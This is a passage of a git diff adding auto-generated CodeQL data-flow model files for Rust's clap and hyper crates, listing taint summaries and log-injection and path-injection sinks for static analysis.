"ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "::get_id", "Argument[self].Field[crate::engine::candidate::CompletionCandidate::id].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "::get_tag", "Argument[self].Field[crate::engine::candidate::CompletionCandidate::tag].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::option::Option::Some(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "::get_value", "Argument[self].Field[crate::engine::candidate::CompletionCandidate::value]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "::help", "Argument[0]", "Argument[self].Field[crate::engine::candidate::CompletionCandidate::help]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "::help", "Argument[0]", "ReturnValue.Field[crate::engine::candidate::CompletionCandidate::help]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "::help", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "::hide", "Argument[0]", "Argument[self].Field[crate::engine::candidate::CompletionCandidate::hidden]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "::hide", "Argument[0]", "ReturnValue.Field[crate::engine::candidate::CompletionCandidate::hidden]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "::hide", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "::id", "Argument[0]", "Argument[self].Field[crate::engine::candidate::CompletionCandidate::id]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "::id", "Argument[0]", "ReturnValue.Field[crate::engine::candidate::CompletionCandidate::id]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "::id", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "::is_hide_set", "Argument[self].Field[crate::engine::candidate::CompletionCandidate::hidden]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "::tag", "Argument[0]", "Argument[self].Field[crate::engine::candidate::CompletionCandidate::tag]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "::tag", "Argument[0]", "ReturnValue.Field[crate::engine::candidate::CompletionCandidate::tag]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "::tag", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "::current_dir", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "::filter", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "::stdio", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "::bin", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "::completer", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "::shells", "Argument[0]", "Argument[self].Field[crate::env::CompleteEnv::shells]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "::shells", "Argument[0]", "ReturnValue.Field[crate::env::CompleteEnv::shells]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "::shells", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "::var", "Argument[0]", "Argument[self].Field[crate::env::CompleteEnv::var]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "::var", "Argument[0]", "ReturnValue.Field[crate::env::CompleteEnv::var]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "::var", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "::with_factory", "Argument[0]", "ReturnValue.Field[crate::env::CompleteEnv::factory]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "::from_str", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "crate::aot::generator::utils::find_subcommand_with_path", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "crate::engine::custom::complete_path", "Argument[1]", "Argument[2]", "taint", "df-generated"] + - addsTo: + pack: codeql/rust-all + extensible: sinkModel + data: + - ["repo:https://github.com/clap-rs/clap:clap_complete", "::write_complete", "Argument[1]", "log-injection", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "::write_complete", "Argument[2]", "log-injection", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "::write_complete", "Argument[2]", "path-injection", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "::write_complete", "Argument[1]", "log-injection", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "::write_complete", "Argument[2]", "log-injection", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "::write_complete", "Argument[2]", "path-injection", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "::write_complete", "Argument[1]", "log-injection", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "::write_complete", "Argument[2]", "log-injection", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "::write_complete", "Argument[2]", "path-injection", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "::write_complete", "Argument[1]", "log-injection", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "::write_complete", "Argument[2]", "log-injection", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "::write_complete", "Argument[2]", "path-injection", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "::write_complete", "Argument[1]", "log-injection", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "::write_complete", "Argument[2]", "log-injection", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "::write_complete", "Argument[2]", "path-injection", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "crate::engine::complete::complete", "Argument[1]", "log-injection", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "crate::engine::complete::complete", "Argument[2]", "log-injection", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "crate::engine::complete::complete", "Argument[3]", "log-injection", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "crate::engine::complete::complete", "Argument[3]", "path-injection", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "crate::engine::custom::complete_path", "Argument[1]", "log-injection", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete", "crate::engine::custom::complete_path", "Argument[1]", "path-injection", "df-generated"] diff --git a/rust/ql/lib/ext/generated/clap/repo-https-github.com-clap-rs-clap-clap_complete_nushell.model.yml b/rust/ql/lib/ext/generated/clap/repo-https-github.com-clap-rs-clap-clap_complete_nushell.model.yml new file mode 100644 index 000000000000..0317e38cc51c --- /dev/null +++ b/rust/ql/lib/ext/generated/clap/repo-https-github.com-clap-rs-clap-clap_complete_nushell.model.yml @@ -0,0 +1,13 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo:https://github.com/clap-rs/clap:clap_complete_nushell", "::file_name", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - addsTo: + pack: codeql/rust-all + extensible: sinkModel + data: + - ["repo:https://github.com/clap-rs/clap:clap_complete_nushell", "crate::has_command", "Argument[0]", "log-injection", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_complete_nushell", "crate::register_example", "Argument[0]", "log-injection", "df-generated"] diff --git a/rust/ql/lib/ext/generated/clap/repo-https-github.com-clap-rs-clap-clap_derive.model.yml b/rust/ql/lib/ext/generated/clap/repo-https-github.com-clap-rs-clap-clap_derive.model.yml new file mode 100644 index 000000000000..4397f956fcfd --- /dev/null +++ b/rust/ql/lib/ext/generated/clap/repo-https-github.com-clap-rs-clap-clap_derive.model.yml @@ -0,0 +1,55 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo:https://github.com/clap-rs/clap:clap_derive", "::lit_str_or_abort", "Argument[self].Field[crate::attr::ClapAttr::value].Field[crate::option::Option::Some(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_derive", "::value_or_abort", "Argument[self].Field[crate::attr::ClapAttr::value].Field[crate::option::Option::Some(0)]", "ReturnValue.Field[crate::result::Result::Ok(0)].Reference", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_derive", "::action", "Argument[self]", "Argument[0]", "taint", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_derive", "::action", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_derive", "::cased_name", "Argument[self].Field[crate::item::Item::name].Field[crate::item::Name::Assigned(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_derive", "::casing", "Argument[self].Field[crate::item::Item::casing]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_derive", "::env_casing", "Argument[self].Field[crate::item::Item::env_casing]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_derive", "::from_args_field", "Argument[1]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::item::Item::casing]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_derive", "::from_args_field", "Argument[2]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::item::Item::env_casing]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_derive", "::from_args_struct", "Argument[1]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::item::Item::name]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_derive", "::from_subcommand_enum", "Argument[1]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::item::Item::name]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_derive", "::from_subcommand_variant", "Argument[1]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::item::Item::casing]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_derive", "::from_subcommand_variant", "Argument[2]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::item::Item::env_casing]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_derive", "::from_value_enum", "Argument[1]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::item::Item::name]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_derive", "::from_value_enum_variant", "Argument[1]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::item::Item::casing]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_derive", "::from_value_enum_variant", "Argument[2]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::item::Item::env_casing]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_derive", "::group_id", "Argument[self].Field[crate::item::Item::group_id]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_derive", "::id", "Argument[self].Field[crate::item::Item::name]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_derive", "::is_positional", "Argument[self].Field[crate::item::Item::is_positional]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_derive", "::kind", "Argument[self].Field[crate::item::Item::kind].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_derive", "::kind", "Argument[self].Field[crate::item::Item::kind]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_derive", "::skip_group", "Argument[self].Field[crate::item::Item::skip_group]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_derive", "::value_name", "Argument[self].Field[crate::item::Item::name].Field[crate::item::Name::Assigned(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_derive", "::value_parser", "Argument[self]", "Argument[0]", "taint", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_derive", "::value_parser", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_derive", "::args", "Argument[self].Field[crate::item::Method::args]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_derive", "::new", "Argument[0]", "ReturnValue.Field[crate::item::Method::name]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_derive", "::new", "Argument[1]", "ReturnValue.Field[crate::item::Method::args]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_derive", "::translate", "Argument[self].Field[crate::item::Name::Assigned(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_derive", "::from", "Argument[0].Field[crate::utils::spanned::Sp::span]", "ReturnValue.Field[crate::utils::spanned::Sp::span]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_derive", "::from", "Argument[0]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_derive", "::deref", "Argument[self].Field[crate::utils::spanned::Sp::val]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_derive", "::deref_mut", "Argument[self].Field[crate::utils::spanned::Sp::val]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_derive", "::get", "Argument[self].Field[crate::utils::spanned::Sp::val]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_derive", "::new", "Argument[0]", "ReturnValue.Field[crate::utils::spanned::Sp::val]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_derive", "::new", "Argument[1]", "ReturnValue.Field[crate::utils::spanned::Sp::span]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_derive", "::span", "Argument[self].Field[crate::utils::spanned::Sp::span]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_derive", "crate::derives::args::derive_args", "Argument[0].Reference", "ReturnValue.Field[crate::item::Item::group_id].Field[crate::item::Name::Derived(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_derive", "crate::derives::args::derive_args", "Argument[0]", "ReturnValue.Field[crate::item::Item::group_id].Field[crate::item::Name::Derived(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_derive", "crate::derives::args::derive_args", "Argument[0]", "ReturnValue.Field[crate::item::Item::name].Field[crate::item::Name::Derived(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_derive", "crate::derives::parser::derive_parser", "Argument[0].Reference", "ReturnValue.Field[crate::item::Item::group_id].Field[crate::item::Name::Derived(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_derive", "crate::derives::parser::derive_parser", "Argument[0]", "ReturnValue.Field[crate::item::Item::group_id].Field[crate::item::Name::Derived(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_derive", "crate::derives::subcommand::derive_subcommand", "Argument[0].Reference", "ReturnValue.Field[crate::item::Item::group_id].Field[crate::item::Name::Derived(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_derive", "crate::derives::subcommand::derive_subcommand", "Argument[0]", "ReturnValue.Field[crate::item::Item::group_id].Field[crate::item::Name::Derived(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_derive", "crate::derives::subcommand::derive_subcommand", "Argument[0]", "ReturnValue.Field[crate::item::Item::name].Field[crate::item::Name::Derived(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_derive", "crate::derives::value_enum::derive_value_enum", "Argument[0].Reference", "ReturnValue.Field[crate::item::Item::group_id].Field[crate::item::Name::Derived(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_derive", "crate::derives::value_enum::derive_value_enum", "Argument[0]", "ReturnValue.Field[crate::item::Item::group_id].Field[crate::item::Name::Derived(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_derive", "crate::derives::value_enum::derive_value_enum", "Argument[0]", "ReturnValue.Field[crate::item::Item::name].Field[crate::item::Name::Derived(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_derive", "crate::utils::ty::inner_type", "Argument[0]", "ReturnValue", "value", "dfc-generated"] diff --git a/rust/ql/lib/ext/generated/clap/repo-https-github.com-clap-rs-clap-clap_lex.model.yml b/rust/ql/lib/ext/generated/clap/repo-https-github.com-clap-rs-clap-clap_lex.model.yml new file mode 100644 index 000000000000..5ccc93d09ccf --- /dev/null +++ b/rust/ql/lib/ext/generated/clap/repo-https-github.com-clap-rs-clap-clap_lex.model.yml @@ -0,0 +1,11 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo:https://github.com/clap-rs/clap:clap_lex", "::to_value", "Argument[self].Field[crate::ParsedArg::inner]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_lex", "::to_value_os", "Argument[self].Field[crate::ParsedArg::inner]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_lex", "::next", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_lex", "::split", "Argument[0]", "ReturnValue.Field[crate::ext::Split::needle]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_lex", "::split", "Argument[self]", "ReturnValue.Field[crate::ext::Split::haystack].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] diff --git a/rust/ql/lib/ext/generated/clap/repo-https-github.com-clap-rs-clap-clap_mangen.model.yml b/rust/ql/lib/ext/generated/clap/repo-https-github.com-clap-rs-clap-clap_mangen.model.yml new file mode 100644 index 000000000000..6829efe4972f --- /dev/null +++ b/rust/ql/lib/ext/generated/clap/repo-https-github.com-clap-rs-clap-clap_mangen.model.yml @@ -0,0 +1,19 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo:https://github.com/clap-rs/clap:clap_mangen", "::date", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_mangen", "::generate_to", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_mangen", "::get_filename", "Argument[self]", "ReturnValue", "taint", "df-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_mangen", "::manual", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_mangen", "::new", "Argument[0]", "ReturnValue.Field[crate::Man::cmd]", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_mangen", "::section", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_mangen", "::source", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/clap-rs/clap:clap_mangen", "::title", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - addsTo: + pack: codeql/rust-all + extensible: sinkModel + data: + - ["repo:https://github.com/clap-rs/clap:clap_mangen", "::generate_to", "Argument[self]", "path-injection", "df-generated"] diff --git a/rust/ql/lib/ext/generated/hyper/repo-https-github.com-hyperium-hyper-hyper.model.yml b/rust/ql/lib/ext/generated/hyper/repo-https-github.com-hyperium-hyper-hyper.model.yml new file mode 100644 index 000000000000..3e30d66ced41 --- /dev/null +++ b/rust/ql/lib/ext/generated/hyper/repo-https-github.com-hyperium-hyper-hyper.model.yml @@ -0,0 +1,254 @@ +# THIS FILE IS AN AUTO-GENERATED MODELS AS DATA FILE. DO NOT EDIT. +extensions: + - addsTo: + pack: codeql/rust-all + extensible: summaryModel + data: + - ["repo:https://github.com/hyperium/hyper:hyper", "::read", "Argument[self]", "Argument[0]", "taint", "df-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::as_ffi_mut", "Argument[self].Field[crate::body::incoming::Incoming::kind].Field[crate::body::incoming::Kind::Ffi(0)]", "ReturnValue.Reference", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::h2", "Argument[0]", "ReturnValue.Field[crate::body::incoming::Incoming::kind].Field[crate::body::incoming::Kind::H2::recv]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::h2", "Argument[1]", "ReturnValue.Field[crate::body::incoming::Incoming::kind].Field[crate::body::incoming::Kind::H2::content_length]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::h2", "Argument[2]", "ReturnValue.Field[crate::body::incoming::Incoming::kind].Field[crate::body::incoming::Kind::H2::ping]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::from", "Argument[0].Field[crate::option::Option::Some(0)].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::checked_new", "Argument[0]", "ReturnValue.Field[crate::result::Result::Ok(0)].Field[crate::body::length::DecodedLength(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::danger_len", "Argument[self].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::danger_len", "Argument[self].Field[crate::body::length::DecodedLength(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::into_opt", "Argument[self].Field[crate::body::length::DecodedLength(0)]", "ReturnValue.Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::new", "Argument[0]", "ReturnValue.Field[crate::body::length::DecodedLength(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::from", "Argument[0].Field[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::from", "Argument[0].Field[crate::ext::h1_reason_phrase::ReasonPhrase(0)]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::allow_obsolete_multiline_headers_in_responses", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::allow_spaces_after_header_name_in_responses", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::handshake", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::handshake", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::http09_responses", "Argument[0]", "Argument[self].Field[crate::client::conn::http1::Builder::h09_responses]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::http09_responses", "Argument[0]", "ReturnValue.Field[crate::client::conn::http1::Builder::h09_responses]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::http09_responses", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::ignore_invalid_headers_in_responses", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::max_buf_size", "Argument[0]", "Argument[self].Field[crate::client::conn::http1::Builder::h1_max_buf_size].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::max_buf_size", "Argument[0]", "ReturnValue.Field[crate::client::conn::http1::Builder::h1_max_buf_size].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::max_buf_size", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::max_headers", "Argument[0]", "Argument[self].Field[crate::client::conn::http1::Builder::h1_max_headers].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::max_headers", "Argument[0]", "ReturnValue.Field[crate::client::conn::http1::Builder::h1_max_headers].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::max_headers", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::preserve_header_case", "Argument[0]", "Argument[self].Field[crate::client::conn::http1::Builder::h1_preserve_header_case]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::preserve_header_case", "Argument[0]", "ReturnValue.Field[crate::client::conn::http1::Builder::h1_preserve_header_case]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::preserve_header_case", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::preserve_header_order", "Argument[0]", "Argument[self].Field[crate::client::conn::http1::Builder::h1_preserve_header_order]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::preserve_header_order", "Argument[0]", "ReturnValue.Field[crate::client::conn::http1::Builder::h1_preserve_header_order]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::preserve_header_order", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::read_buf_exact_size", "Argument[0]", "Argument[self].Field[crate::client::conn::http1::Builder::h1_read_buf_exact_size]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::read_buf_exact_size", "Argument[0]", "ReturnValue.Field[crate::client::conn::http1::Builder::h1_read_buf_exact_size]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::read_buf_exact_size", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::title_case_headers", "Argument[0]", "Argument[self].Field[crate::client::conn::http1::Builder::h1_title_case_headers]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::title_case_headers", "Argument[0]", "ReturnValue.Field[crate::client::conn::http1::Builder::h1_title_case_headers]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::title_case_headers", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::writev", "Argument[0]", "Argument[self].Field[crate::client::conn::http1::Builder::h1_writev].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::writev", "Argument[0]", "ReturnValue.Field[crate::client::conn::http1::Builder::h1_writev].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::writev", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::with_upgrades", "Argument[self]", "ReturnValue.Field[crate::client::conn::http1::upgrades::UpgradeableConnection::inner].Field[crate::option::Option::Some(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::send_request", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::try_send_request", "Argument[0]", "ReturnValue.Field[crate::result::Result::Err(0)]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::adaptive_window", "Argument[0]", "Argument[self].Field[crate::client::conn::http2::Builder::h2_builder].Field[crate::proto::h2::client::Config::adaptive_window]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::adaptive_window", "Argument[0]", "ReturnValue.Field[crate::client::conn::http2::Builder::h2_builder].Field[crate::proto::h2::client::Config::adaptive_window]", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::adaptive_window", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::handshake", "Argument[0]", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::handshake", "Argument[self].Reference", "ReturnValue", "value", "dfc-generated"] + - ["repo:https://github.com/hyperium/hyper:hyper", "::header_table_size", "Argument[self]", "ReturnValue", "value", "dfc-generated"] + - 